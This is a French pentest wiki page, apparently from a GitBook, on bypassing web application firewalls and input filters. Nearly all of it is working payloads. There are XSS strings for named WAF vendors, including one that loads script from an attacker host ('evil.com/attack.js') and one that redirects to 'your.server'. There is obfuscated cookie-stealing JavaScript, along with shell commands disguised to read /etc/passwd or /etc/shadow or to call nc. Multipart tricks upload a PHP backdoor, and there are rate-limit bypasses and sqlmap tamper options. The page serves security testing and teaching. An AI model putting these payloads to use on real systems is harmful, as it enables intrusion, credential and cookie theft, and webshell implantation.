Pentest & Bug Bounty
  • 🥷Pentest et Bug Bounty
    • 👾Pentest Methodology
    • 💸Bug Bounty Methodology
      • 📓Ecrire un bon rapport
      • ⚖️Aspect Juridique (FR)
  • 👣OSINT / Recon
    • 🧦Sock Puppet
    • 🧠Mindmaps
    • 🏢Entreprise
    • 👀Leaks
    • 👊Manuel / Dorks
      • Google dorks
      • Github dorks
      • Twitter Dorks
      • Shodan Dorks
    • 👥Réseaux sociaux (SOCMINT)
      • 🕵️Telegram OSINT
      • 👻Snapchat OSINT
      • 🤵‍♂️Linkedin OSINT
      • 🗣️Facebook OSINT
      • 🎼Tik tok OSINT
      • 📷Instagram OSINT
      • 🐦Twitter OSINT
      • 🔊Discord OSINT
    • 🖇️Domaines et Sous-domaines
    • 🚪Scan de ports / web
    • ✉️Emails
    • 🔗Réseau
    • 📷Screenshots
    • 📹Live camera
    • 🧔Reconnaissance faciale / images
    • 🌆Images
    • 🗺️Maps
    • 👁️Active Directory
    • ☁️Cloud
    • Autre
  • 🌐Pentest Web
    • ✊Brute force / Fuzzing
    • 💉Injections
      • 🍪XSS
        • PDF injection
      • 📄HTMLi
      • 📃XXE
      • 7️⃣SSTI
      • 🔢SQLi
        • 👫UNION based
        • ⏳Time based
        • 🥽Boolean based / Error Based
        • 📤Out-Of-Band
      • ↩️CRLF
      • 🐚OS injection
      • ☕Log4Shell
      • 🥠CSV
      • 🍻ESI
      • 😎XSLT
      • 💌Injections dans emails
      • 🔀ELi
        • OGNLi
    • ↪️Open redirect
    • 📁Path Traversal / LFI / RFI
    • 🔓Bypass
      • 〰️WAF / Filter bypass
      • 2️2FA
    • ☠️Charges utiles
    • 📚CMS (Content Management System)
      • WordPress
      • Joomla!
      • Magento
      • Drupal
    • 🎭SOP bypass
      • CORS
      • postMessage()
      • JSONP
    • 🖱️Clickjacking
    • ⚙️Insecure deserialization
    • ☣️Web Cache Poisoning / Deception
    • 🤝HTTP Smuggling
    • 👋OAuth
    • ⛔SAML
    • 🗝️JSON Web Token
    • 🎣CSRF
      • 🚀Cross-site WebSocket Hijacking (CSWSH)
    • 🎯IDOR
    • 🕹️SSRF
      • Cloud SSRF
      • Protocol Smuggling
    • ⚙️APIs
      • 🍽️REST
      • 📶GraphQL
    • ❓Mot de passe oublié
    • 🛒Fonctions d'achat et de facturation
    • 👽Broken authentication / register
    • 🏁Panneaux d'administration
    • ⏬Upload features
    • 🔗Broken Link Hijacking
    • 🎮Prise de contrôle de sous-domaine
    • 🛂Prise de contrôle de DNS
    • ☝️One liners
    • 🚧Misconfigurations
    • 🗿Analyse statique
      • PHP
      • Ruby On Rails
      • Perl
      • JAVA
      • Javascript
      • Python
      • Golang
      • .NET
    • 🪣AWS S3
    • 🤖Captcha
    • 🪞Race conditions
    • ☄️.git exposé
    • 💭Business logic
    • 🥡Prototype pollution
    • 💣Dependency confusion
    • 🛑DoS
      • 🤯ReDoS
      • 👏Hash flooding
      • 🧨Cookie bomb
    • Autre
      • Flask
      • Symphony
      • Spring Boot
      • Django
      • Jenkins
  • 🌩️Pentest Cloud
    • IaC (Infrastructure as Code)
      • Terraform
      • Helm
      • Kustomize
    • AWS
      • Enumeration
    • Azure
      • Entra ID
      • Azure Resource Manager (ARM)
        • Enumeration
    • GCP
      • GCP IAM
      • Authentification
      • Enumeration
    • Kubernetes
  • 🕸️Pentest Réseau
    • 🪡Protocoles réseau
    • 📡Wifi
    • 🔋BLE
    • 📍VPN
  • 🗂️Pentest AD
    • 👺GPP
    • ➡️Mouvements latéraux
      • 🔪Pass The Hash
      • 🗡️Over Pass The Hash
    • 📜ADCS
  • 📱Pentest Mobile
    • 🤖Android
      • 👾Méthodologie
      • 🌳Setup environnement
      • 🍇Collecte d'informations
      • 🔠Enumeration des données locales
      • 🔙Reverse engineering
        • 🪢Dé-obfuscation
      • ⛰️Analyse statique (Android)
      • 🐞Debug
      • 🎰Stockage de données non sécurisé
        • 📰Logs
        • 🤝Shared Preferences
        • 🔤Strings
        • 🗄️SQLite DB
        • 🗃️Realm DB
        • 🧠Mémoire
        • 📍Copy/Paste buffer caching
        • ⌨️Keyboard press caching
        • 🔙Backup
        • Carte SD
      • 🌩️Firebase/Appspot misconfig
      • 🔗Deeplinks vulns
        • Interception de contenu
        • WebView hijacking (via deeplink)
        • Invalid Digital assets links
      • 🖼️WebView vulns
        • WebView Hijacking
        • Exfiltration de données
        • RXSS
        • Vol de token
      • Guides outils
        • ⛏️Outil Drozer
          • Injections SQL (Android)
          • Path traversal (Android)
        • 🔬Outil Objection
        • 🪝Outil Frida
        • Outil Medusa / Mango
      • Bypass
        • 📲Contournement de détection d'emulateur
          • 📂Fichiers d'emulateurs
          • 🙋‍♂️Network Operator Name
        • 🦷Contournement des détections de rootage
          • 🧮Root management
          • 🗝️Clé de signature du noyau
          • 🧊Props dangereux
          • 🦸‍♂️Binaire "su"
          • ❌Permissions sur les repertoires
        • ☝️Contournement des protections biometriques
        • 📜SSL pinning bypass
        • Contournement de code PIN
      • 🔳Lecteur de code QR/EAN/Barres...
      • 💔Injection de backdoor
      • 🪧Task hijacking
      • 🎭Overlay attacks
        • Tapjacking
        • Invisible Keyboard
      • 📵Résilience
        • ⌨️Third Party Keyboards
        • ©️Allowed Copy/Paste on sensitive fields
        • 🛤️Background screen caching
        • 🖋️Schémas de signature
        • ⬆️In-App updates
      • 🤯Corruption de Mémoire
    • 🍏iOS
      • 🥅Méthodologie
      • 🧱Setup environnement (iOS)
      • ⏮️Reverse engineering (iOS)
      • 🏔️Analyse statique (iOS)
      • 🧿Contournement de détection de Jailbreak
      • 📌SSL pinning bypass (iOS)
      • 👇Contournement d'authentification biométrique
      • 🐛Contournement d'anti-Hooking/Debugging
      • 🙈Stockage de données non sécurisé (iOS)
        • 💭Mémoire (iOS)
        • 🏓Copy/Paste buffer caching (iOS)
        • 🍪Cookies (iOS)
        • 🗞️Logs (iOS)
        • ⌨️Cache du clavier (IOS)
        • Backup (IOS)
      • 📱Background screen caching
      • 🧑‍🚀WebView vulns (iOS)
      • Deeplinks vulns (iOS)
      • Lecteur de code QR
      • Firebase misc
  • 👷Pentest physique
    • 🔐Crochetage
    • 💳RFID
    • ⚙️Equipements
    • 💾Hardware Hacking
      • 📈UART
      • 🧪JTAG
      • ⚡SWD
      • 🪢SPI
      • 🚌I²C
      • 🔴Fault Injection
      • Side-Channel Attacks
    • 🐣Firmware hacking
  • 🖨️Pentest IoT
    • ⏪Replay de stream camera
    • 🗣️Assistants vocaux
    • 📹Camera IP
    • ⬇️DoS
    • 🖨️Imprimantes
    • 🎬Chromecast
  • 💀Hacking protocols
    • 😩Telnet - port 23
    • 🔐SSH - port 22
    • 📤FTP - port 21
    • ❔Whois - port 43
    • 👉DNS - port 53
    • 🐕‍🦺Kerberos - port 88
    • 💼SNMP - ports 161-162
    • 📨SMB - ports 445-139
    • 📧SMTP - ports 25-587
    • 🎦RTSP - port 554
    • 🔎MS-RPC - ports 135-593
    • ➕Rsync - port 873
    • 🔢MS-SQL - port 1433
    • 🏗️Docker - port 2375
    • 🔡MySQL - port 3306
    • 📝LDAP - ports 389, 636, 3268, 3269
    • 🖥️RDP - port 3389
    • ⌨️VNC - ports 5800,5801,5900,5901
  • 😈Ingénierie sociale
    • 🧠Concepts / Principes / Attaques
    • 🪧Ethique
    • 👤Profils comportementaux
  • 🔓Crack
  • 🛠️Autres outils utiles
    • 🚿Sandbox / Sanitizer
    • 🔤Générateurs de wordlists personnalisées
  • 🌜Post-Exploitation
    • 👔Énumération /Élévation de privilèges
      • 🐧Linux
        • CVE-2022-0847 (Dirty Pipe)
        • CVE 2021-4034 (PwnKit)
        • CVE 2021-3560 (Polkit)
      • 🪟Windows
        • 🖨️PrintNightmare
        • 🖨️SpoolFool
        • 🆔Usurpation de SAMAccountName
        • ⏲️Scheduled task/job (T1573.005)
        • 🐝HiveNightmare
        • 🔑Stored Credentials
        • 🎩SeImpersonatePrivilege
        • 🎒SeBackupPrivilege
        • 🍞Unquoted Service Path
        • 🧩DLL Hijacking
        • ©️SeBackupPrivilege
      • ⛴️Docker
    • 👻Effacement des traces
    • ⚓Persistance / Downloaders
    • 🛡️Defense evasion
    • 📦Exfiltration de Données
  • 🔎Forensic
    • 💡Méthodologie
    • 📺Live forensic
    • 💻Mémoire non volatile
    • 🕊️Mémoire volatile
    • 📄File forensic
Propulsé par GitBook
Sur cette page
  • Sites
  • Methodologie
  • Template de test manuel
  • Mindmap de test manuel
  • Bypass de regex / blacklist
  • Cloudflare
  • Faiblesses
  • Akamai
  • Faiblesses
  • Sucuri
  • Fortiweb
  • Imperva
  • PHP htmlspecialchars() bypass
  • Variables globales javascript
  • Unicode
  • Commentaires
  • Caractères spéciaux
  • Junk characters
  • Saut de ligne
  • Variables non initialisées
  • Tabs and Line Feeds
  • OS injection
  • Mutations balise <a>
  • XML/HTML confusion
  • Changer le content encoding
  • Changer le header pour les upload de fichiers
  • Multipart parser manipulation
  • Outils
  • Waf-bypass
  • Tips SQLMap

Cet article vous a-t-il été utile ?

  1. Pentest Web
  2. Bypass

WAF / Filter bypass

PrécédentBypassSuivant2FA

Dernière mise à jour il y a 6 mois

Cet article vous a-t-il été utile ?

Sites

Methodologie

Le principal défi lorsque vous essayez d'adapter un payload de contournement est de déterminer comment la charge utile est comprise par le pare-feu de l'application Web. Puisqu'un WAF ne répond qu'avec une page d'interdiction ou non, il faut avancer par petites étapes ce qui que prendre beaucoups de temps.

Considérons le simple payload suivant:

<script>

Voici un exemple de process de contournement:

<script> //bloqué

<script/x //bloqué (peut-être une regex "<script.*")

:script/x //OK (bloqué si le payload commence par "<")

<tst> //OK (bloqué si le payload commence par "<" et blacklist "script")

<%ascript> //OK (confirme que la regex fonctionne comme ceci "<[blacklist].*"

Maintenant on peut vérifier les caractères possibles dans le tag comme ceci:
%20 : espace
%3d : '
%27 : =
%28 : (
%29 : )
%09 : tab
%0a : newline
<x%20x%3dx%27x%28x%29x%09x%0a> //bloqué (l'un des caractères est bloqué)

fonctionnement par elimination: on va supprimer les caractères un par un

<x%20x%09x> //OK

<%09script> //OK (le backend ne prend pas en compte le tab donnant le résultat espéré)

Template de test manuel

Cross-Site scripting

<script>
<svg>
<iframe>
<base>
<img onx=1
'0"><x
<1337onx=1>
</x>
"<x>"
<x"0'x

SQL injection

' or 1=1 -- x
\'or+1=''
' x 1=1
sleep(4)
'||1
' select x
or/**/and/**/
' x=1
x')or('x

Local file inclusion

/etc/passwd
etcpasswd
..;/..;/
x../../x
../
../..
1337../
../..x.png
./././
.:./.:./
.%00./x.php

Mindmap de test manuel

Bypass de regex / blacklist

regex => <.*on.*=.*>

<img src=x onerror=alert(1)>  bloqué
<img src=x onerror=alert(1)   pas bloqué

regex => <.*on.*=.*

<img src=x onerror=alert(1)>  bloqué
<img src=x onerror=alert(1)   bloqué

<img src=1%0aonerror=alert(1) pas bloqué

regex => .*on(.*|n)=(.*|\n)
blacklist => alert, confirm, prompt, iframe, script, style, base

<img src=x onerror=alert(1)>  bloqué
<img src=x onerror=alert(1)   bloqué
<img src=1%0aonerror=alert(1) bloqué

<img src=x onerror%0a=console.log(1) pas bloqué

Lorsque vous essayez de contourner un WAF, il est très important de déterminer d'abord comment fonctionne le filtre frontend/backend avant de tenter de l'exploiter. Si l'entrée est automatiquement encodé et n'est donc pas vulnérable, à quoi bon contourner le pare-feu ?

Utiliser .%00%./file.php dans l'url.

Cloudflare

<img src=x oNlY=1 oNerror=alert('xxs')//
<img src=x on onerror=alert()>
<Svg Only=1 OnLoad=confirm(1)>
<svg onload=%0Aalert'1'>
<svg/onload=location/**/=’https://your.server/’+document.domain&gt;
<svg/onload=location/**/=’https://
your.server/’+document.domain>
“><sVg/OnLuFy=”X=y”oNloaD=;
1^confirm(1)>/“^1//
<svg onload=prompt%26%23x000000028;document.domain)>
<svg onload=%0Aalert1>
<svg onload=alert%26%230000000040"1")>
%2sscript%2ualert()%2s/script%2u
<svg on onload=(alert)(document.domain)>
<svg onload=alert%26%230000000040"")>
<button/onclick="confirm(document.domain+document.cookie)">CLICK</button>

Faiblesses

  • Retour à la ligne qui sépare le payload

  • Surplus de parenthèses => (sleep((3)))

  • Payloads sans espaces => 'or-'1

  • Blacklist faibles

  • Encodage base64

Akamai

<svg onauxclick=(eval)(location.href.split('#')[1])>
<xhzeem/x=” onmouseover=eva&#x6c;?.(id+/(document.domain)/.source) id=confirm>
<img src=x onerror=a=document;cc=a.createElement('script');cc.src='//evil.com/attack.js';a.querySelector('head')append(cc)>

Faiblesses

  • esRetour à la ligne qui sépare le payload

  • Maths pour comparer ou placer des valeurs => (2-10/2)

  • Double url encoding => %2522

  • Encodage base64

  • Fin de tag trop => <img/&gt;/onload=... ou <img/>;/onload=...

  • Espaces avant parenthèses ou quillemets =>

  • Payloads sans espaces => 'or-'1

Sucuri

1/4script3/4alert(¢xss¢)1/4/script3/4

Fortiweb

"><iframe src=//14.rs>

Imperva

«sVg OnPointerEnter= "locaction= lavas + cript:ale + 'rt%2 + '81%2° +9%//</div>

Cloudflare rate limit

Cible: prod.target.com

Il est parfois possible de bypass le rate limit d'un waf Cloudflare en changeant le mot prod à chaque limite atteinte si celui-ci est redirigé vers prod.target.com.

Exemple:

  • prod.target.com => password1 OK

  • prod.target.com => password2 OK

  • prod.target.com => password3 Blocked

  • crod.target.com => prod.target.com => password3 OK

PHP htmlspecialchars() bypass

PHP 7 et 8 ne filtrent pas le caractère "\":

payload: \x3cimg src=x onerror=alert(1)\x3e@x

Variables globales javascript

#bloqué
document.cookie
#bypass
document%20.%20cookie
document/*foo*/./*bar*/cookie
window["document"]["cookie"]

#bloqué
alert(document.cookie)
#bypass
alert(document['cookie'])
window["alert"](window["document"]["cookie"])
self[/*foo*/"alert"](self[document"/*bar*/]["cookie"])
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])

self["\x61\x6c\x65\x72\x74"](
    self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
        ["\x63\x6f\x6f\x6b\x69\x65"]
)

self["\x65\x76\x61\x6c"](
  self["\x61\x74\x6f\x62"](
    "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
    c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
    HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
    QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
    oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
    aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
    y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
    5kQ2hpbGQoc2NyaXB0KTs="
  )
)

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
puis,
self[Object.keys(self)[a()]](document.cookie)

#Trouver le numéro d'index de "alert"
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
#l'appeler avec un exemple de numéro d'index "5"
self[Object.keys(self)[5]](document.domain)

Encoding / Double encoding

#Bloqué
<Svg/x=">"/OnLoAD=confirm()//
#Bypass
%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F

#Bloqué
UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)
#Bypass
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29

#Bloqué
http://target.com/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
#Bypass
http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

#Bloqué
<script>confirm()</script>
#Bypass
%253Cscript%253Econfirm()%253C%252Fscript%253E

Unicode

#Bloqué
<marquee onstart=prompt()>
#Bypass
<marquee onstart=\u0070r\u06f\u006dpt()>

#Bloqué
/?redir=http://google.com
#Bypass
/?redir=http://google。com (Unicode alternative)

#Bloqué
<marquee loop=1 onfinish=alert()>x
#Bypass
<marquee loop=1 onfinish=alert(1)>x (Unicode alternative)

#Bloqué
../../etc/shadow
#Bypass
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

Commentaires

#Bloqué
<script>confirm()</script>
#Bypass
<!--><script>confirm/**/()/**/</script>

#Bloqué
/?id=1+union+select+1,2--
#Bypass
/?id=1+un/**/ion+sel/**/ect+1,2--

Caractères spéciaux

#Bloqué
/bin/cat /etc/passwd
#Bypass
/???/??t /???/??ss??

#Bloqué
/bin/nc 127.0.0.1 443
#Bypass
/???/n? 2130706433 443

#Bloqué
<script>confirm()</script>
#Bypass
<script>eval('con'+'fi'+'rm()')</script>

#Bloqué
/bin/cat /etc/shadow
#Bypass
/bi'n'''/c''at' /e'tc'/sh''ad'ow

#Bloqué
<iframe/onload='this["src"]="javascript:confirm()"';>
#Bypass
<iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:con"+"fir"+"m()"';>

Junk characters

#Bloqué
<script>confirm()</script>
#Bypass
<script>+-+-1-+-+confirm()</script>

#Bloqué
<BODY onload=confirm()>
#Bypass
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>

#Bloqué
<a href=javascript;alert()>ClickMe
#Bypass
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

Saut de ligne

#Bloqué
<iframe src=javascript:confirm(hacker)">
#Bypass
<iframe
src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hac
ker)">

Variables non initialisées

#Bloqué
/bin/cat /etc/shadow
#Bypass
/bin/cat$u /etc/shadow$u
$u/bin$u/cat$u $u/etc$u/shadow$u

Tabs and Line Feeds

#Bloqué
<IMG SRC="javascript:confirm();">
#Bypass
<IMG SRC=" javascript:confirm();">
<IMG SRC=" jav ascri pt:confirm ();">

#Bloqué
<iframe src=javascript:confirm()></iframe>
#Bypass
<iframe
src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab
;p&Tab;t&Tab;:c&Tab;o&Tab;n&Tab;f&Tab;i&Tab;r&Tab;m
&Tab;%28&Tab;%29></iframe>

OS injection

$0<<<$'\$(($((1<<1))#10010111))\$(($((1<<1))#10010000))'

cat /e"t"c/pa"s"swd
cat /e't'c/pa's'swd
cat /etc/pa??wd
cat /etc/pa*wd
cat /et' 'c/passw' 'd
cat /et$()c/pa$()sswd
cat /et${neko}c/pas${poi}swd
/???/??t /???/p??s??
*echo "dwssap/cte/ tac" | rev
$(echo Y2FOIC9ldGMvcGFzc3dkCg== base64 -d)
w\ho\am\i
/\b\i\n/////s\h
who$@ami
xyz%0Acat%20/etc/passwd
IFS=,;`cat<<<uname,-a`
{cat,/etc/passwd}

test=/ehhh/hmtc/pahhh/hmsswd
puis,
cat ${test//hhh\/hm/}
ou
cat ${test//hhh??hm/}

Mutations balise <a>

XML/HTML confusion

mime type => application/xhtml+xml

<![CDATA[ ><img src onerror=alert(1)> ]]>
<?img ><img src onerror=alert(1)> ?>
<?xml-stylesheet > <img src=x onerror=(1)> ?>

Changer le content encoding

Il est parfois possible de contourner la protection du WAF en utilisant l'en-tête custom 'Content-Encoding: radomtext'.

Changer le header pour les upload de fichiers

Certaines librairies plutôt que d'utiliser le nom de l'extension du fichier pour définir son content-type utilisent son header comme "libmagic" par exemple. (#!/bin/node => content-type: application/javascript)

Multipart parser manipulation

Méthode 1: URL encoding > Multipart format

Si le WAF n'a pas de parser multipart, remplacer le body encoding par multipart/form-data peut parfois suffir à contourner la validation.

Cela peut se faire simplement sur Burp sans extension en faisant un clic droit > Change body encoding.

Méthode 2: Dédoubelement de paramètres

Dépendemment du parser utilisé, l'utilisation de deux paramètres similaires avec des valeurs différentes dans l'en-tête Content-Disposition: des requêtes multipart peuvent parfois permettre de contourner des restrictions.

Exp:

--xxx
Content-Disposition: form-data; name="password"; name="email"
content
--xxx--

--xxx
Content-Disposition: form-data; name="file"; filename="a.txt"; filename="backdoor.php"

<?php system("id"); ?>
--xxx--

Méthode 3: Dédoublement de Content-Disposition

De la même manière, utiliser deux en-têtes Content-Disposition: dans une même partie peut parfois permettre de valider une entrée spécifique si le parser ne valide qu'une seule d'entre elles.

Exp:

--boundary
Content-Disposition: form-data; name="file"; filename="safe.txt"
Content-Disposition: form-data; name="file"; filename="malicious.php"

<file content>
--boundary--

Méthode 4: Casser la séquence CRLF

Beaucoup de parsers distinguent les headers du body en recherchant la séquence CRLF \r\n\r\n Dans la requête HTTP utilisé à cet effet. De ce fait, en suppriment l'un de ces caractères, certains parsers ne sont pas en capacité de différencier les headers du body et ne parviennent ainsi pas a valider correctement le contenu de la requête.

Exp:

--xxx\r\n
Content-Disposition: form-data; name="file"; filename="backdoor.php"\r\n
Content-Type: text/plain\n <--- \r manquant
\r\n
<?php system("id"); ?>\r\n
--xxx--

Méthode 5: Supprimer ou remplacer les quotes des paramètres

Dans certains cas, remplacer les quotes par des single quotes ou les supprimer totalement peut permettre de faire confondre au WAF un file upload et un formulaire traditionnel ce qui peut avoir pour effet de contourner la validation de celui-ci.

Exp:

--boundary
Content-Disposition: form-data; name="file"; filename=backdoor.php

<file content>
--boundary--

Méthode 6: Absence de ending boundary string

Traditionnellement, un format multipart valide comprend plusieurs chaînes appelées "boundary" permettant de séparer les paramètres en parties. Pour que la requête soit valide, il faut que chaque partie ai une chaîne de début ET une chaîne de fin. En PHP, Ne pas mettre de châine de fin n'a aucun effet sur le traitement de la requête ce qui peut parfois permettre de contourner la validation des WAF.

Exp:

--boundary
Content-Disposition: form-data; name="file"; filename=backdoor.php

<file content>
(no boundary)

Méthode 7: filename*utf-8=''

Selon la RFC 6266, le paramètre filename* permet d'utiliser des caractères spéciaux et encoding dans des requêtes multipart mais n'est pas supporté par tous les languages de programation (exp: PHP) ce qui en fait un outil de contournement de validation très utile pour les uploads de fichiers.

Exp:

--boundary
Content-Disposition: form-data; name="file"; filename*uft-8''backdoor%2ephp

<file content>
--boundary--

Outils

Waf-bypass

Analyseur de WAF.

Utilisation:

$ python3 main.py --host="target.com"

Tips SQLMap

utiliser les arguments --random-agent --level=5 --risk=3 --tamper="space2comment,between,randomcase,charencode"

ressources:

🌐
🔓
〰️
https://waf-bypass.com/
https://jlajara.gitlab.io/Bypass_WAF_Unicode
https://github.com/nemesida-waf/waf-bypass
Breaking Down Multipart Parsers: File upload validation bypassSicuranext Blog
Logo